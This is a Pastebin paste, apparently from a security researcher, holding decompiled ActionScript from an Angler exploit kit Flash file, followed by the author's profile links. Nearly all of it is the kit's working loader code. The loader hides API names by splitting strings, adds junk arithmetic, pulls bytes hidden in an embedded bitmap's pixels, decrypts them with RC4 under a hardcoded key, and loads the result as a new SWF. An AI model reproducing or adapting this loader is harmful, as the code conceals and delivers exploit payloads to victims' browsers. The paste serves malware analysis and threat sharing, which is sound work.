Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Angler EK flash exploit decompiled swf file
- *******
- *******
- *******
- package {
- public class IlllI {
- public static var 1lIIlI1:String = "";
- public static var Ill1lI1:String = ("h" + "eight");
- public static var lI1lI:String = "";
- public static var I1lI1I1l11:String = "";
- public static var II:String = "";
- public static var II1I1I1:String = "";
- public static var 1lI:String = "";
- public static var 11IIlI1lIl:String = "";
- public static var 1lIIlI1lI1:String = ("w" + "idth");
- public static var 1IlI1IlI1:String = "";
- public static var I11lI1IlI1:String = "";
- public static var lIlI1lII:String = "";
- public static var 11lIlI:String = (("g" + "e") + "tPixel");
- public static var 1I1l1II1lI:String = "";
- public static var 1II1lII:String = "";
- public static var lIIlI1:String = "";
- public static var 1IIlI1:String = "";
- public static var lII1I:String = "";
- public static var 1I:String = "";
- public static var 1lIlI1lI:String = (("bitm" + "apDa") + "ta");
- public static var l11Il:String = "";
- public static var lllI1lI:String = "";
- lllI1lI = ("gotoAn" + "dPlay");
- 1lIIlI1 = "addedToStage";
- I11lI1IlI1 = (("f" + "lash.utils.By") + "teArray");
- lI1lI = (("writeBy" + "t") + "e");
- I1lI1I1l11 = ("u" + "ncompress");
- II = (("allw" + "Doma") + "in");
- II1I1I1 = ("current" + "Domain");
- 1lI = ("leng" + "th");
- 11IIlI1lIl = ("getDefini" + "tion");
- 1IlI1IlI1 = ((("flas" + "h.d") + "isp") + "lay.Loader");
- lIlI1lII = (("s" + "tag") + "e");
- 1I1l1II1lI = (("addEven" + "tL") + "istener");
- 1II1lII = ((("remo" + "veEv") + "entL") + "istener");
- lIIlI1 = ("loadByt" + "es");
- 1IIlI1 = ("addChil" + "d");
- l11Il = ("positio" + "n");
- lII1I = ("flash.syste" + "m.Security");
- 1I = ((("cha" + "rCo") + "deA") + "t");
- }
- }//package
- package {
- import flash.display.*;
- import flash.system.*;
- import flash.utils.*;
- public class l1_lI_11_1lIlI_11_Il_IlI1 extends MovieClip {
- private var 1;
- private var ll1IlI1II1lI:Class;
- public function l1_lI_11_1lIlI_11_Il_IlI1(_arg1:uint=0){
- this.ll1IlI1II1lI = nlI11lIm;
- super();
- this.1 = ApplicationDomain[IlllI.II1I1I1];
- var _local2:String = IlllI.lIlI1lII;
- var _local3:Number = ((2 + ((3 * 2) / 4)) - 1);
- if (this[_local2]){
- this.l1II1lI();
- } else {
- var _local4 = this;
- _local4[IlllI.1I1l1II1lI](IlllI.1lIIlI1, this.l1II1lI);
- };
- }
- public function l1II1lI():void{
- var _local1:String;
- var _local2:*;
- var _local3:String;
- var _local4:*;
- try {
- _local1 = IlllI.1II1lII;
- var _local5 = this;
- _local5[_local1](IlllI.1lIIlI1, this.l1II1lI);
- _local2 = this.11IlI1l1llIll();
- _local2 = this.l1I1IlIlI(_local2);
- _local3 = IlllI.1IIlI1;
- _local4 = new ((this.1[IlllI.11IIlI1lIl](IlllI.1IlI1IlI1) as Class))();
- _local5 = _local4;
- _local5[IlllI.lIIlI1](_local2);
- _local5 = this;
- _local5[_local3](_local4);
- } catch(e:Error) {
- };
- }
- private function lII1lIl1I1(){
- var _local1 = ("2550586827383356736546741637" + "4798327433248564759451375940");
- var _local2:* = new ((this.1[IlllI.11IIlI1lIl](IlllI.I11lI1IlI1) as Class))();
- var _local3:uint;
- var _local4:int;
- while (_local4 < _local1[IlllI.1lI]) {
- _local3 = _local1[IlllI.1I](_local4);
- var _local5 = _local2;
- _local5[IlllI.lI1lI](_local3);
- _local4++;
- };
- _local2[IlllI.l11Il] = 0;
- return (_local2);
- }
- private function 11IlI1l1llIll(){
- var _local8:int;
- var _local9:uint;
- var _local1:* = new ((this.1[IlllI.11IIlI1lIl](IlllI.I11lI1IlI1) as Class))();
- var _local2:* = new this.ll1IlI1II1lI()[IlllI.1lIlI1lI];
- var _local3:int = _local2[IlllI.1lIIlI1lI1];
- var _local4:int = _local2[IlllI.Ill1lI1];
- var _local5:uint;
- var _local6:uint = (10 - (5 * 2));
- var _local7:int;
- while (_local7 < _local3) {
- _local8 = 0;
- while (_local8 < _local4) {
- _local9 = _local2[IlllI.11lIlI](_local7, _local8);
- if ((((_local7 == 0)) && ((_local8 == 0)))){
- _local5 = (_local9 & 0xFFFFFF);
- } else {
- if (_local1[IlllI.1lI] == _local5){
- break;
- };
- var _local10 = _local1;
- _local10[IlllI.lI1lI]((_local9 & 0xFF));
- if (_local1[IlllI.1lI] == _local5){
- break;
- };
- _local10 = _local1;
- _local10[IlllI.lI1lI](((_local9 >> 8) & 0xFF));
- if (_local1[IlllI.1lI] == _local5){
- break;
- };
- _local10 = _local1;
- _local10[IlllI.lI1lI](((_local9 >> 16) & 0xFF));
- };
- _local8++;
- };
- if (_local1[IlllI.1lI] >= _local5){
- break;
- };
- _local7++;
- };
- _local1[IlllI.l11Il] = 0;
- return (_local1);
- }
- public function l1I1IlIlI(_arg1){
- var _local2:* = this.lII1lIl1I1();
- var _local3:* = new ((this.1[IlllI.11IIlI1lIl](IlllI.I11lI1IlI1) as Class))();
- var _local4:uint = (9 - 8);
- var _local5:int = (_local4 - 1);
- var _local6:int = (0 + 0);
- var _local7:int = ((27 - 27) + 0);
- var _local8:int = (33 - 33);
- var _local9:int = (48 - 48);
- var _local10:int = (113 - 113);
- var _local11:int = ((_local4 + 1) - 2);
- var _local12:uint = ((10 + 10) - 20);
- var _local13:int = (181 - 181);
- var _local14:uint = (((10 + 10) - 20) - 0);
- var _local15:int = (2342 - 2342);
- _local13 = 0;
- while (_local13 < 0x0100) {
- var _local17 = _local3;
- _local17[IlllI.lI1lI](_local13);
- _local13++;
- };
- var _local16:uint = (_local12 - _local11);
- _local3[IlllI.l11Il] = ((_local16 + _local11) + _local12);
- _local5 = 0;
- while (_local5 < 0x0100) {
- _local9 = (((_local2[_local8] + (_local3[_local5] & 0xFF)) + _local9) & 0xFF);
- _local16 = ((0 + 0) + _local3[_local5]);
- _local3[_local5] = _local3[_local9];
- _local3[_local9] = _local16;
- _local8 = ((((_local8 + 1) & 0xFF) % _local2[IlllI.1lI]) & (240 + 15));
- _local5++;
- };
- _local3[IlllI.l11Il] = 0;
- _local5 = 0;
- while (_local5 < _arg1[IlllI.1lI]) {
- _local6 = ((_local6 + 1) & (240 + 15));
- _local7 = ((0 + ((_local3[_local6] & 0xFF) + _local7)) & 0xFF);
- _local16 = _local3[_local6];
- _local3[_local6] = _local3[_local7];
- _local3[_local7] = _local16;
- _local10 = ((0 + ((_local3[_local6] & 0xFF) + (_local3[_local7] & 0xFF))) & 0xFF);
- _arg1[_local5] = ((((0 + 0) + _arg1[_local5]) & 0xFF) ^ _local3[_local10]);
- _local5++;
- };
- return (_arg1);
- }
- }
- }//package
- package {
- import mx.core.*;
- public class nlI11lIm extends BitmapAsset {
- }
- }//package
- *******
- *******
- *******
- More FROM @neonprimetime security
- http://pastebin.com/u/Neonprimetime
- https://www.virustotal.com/en/USER/neonprimetime/
- https://twitter.com/neonprimetime
- https://www.reddit.com/USER/neonprimetime
Add Comment
Please, Sign In to add comment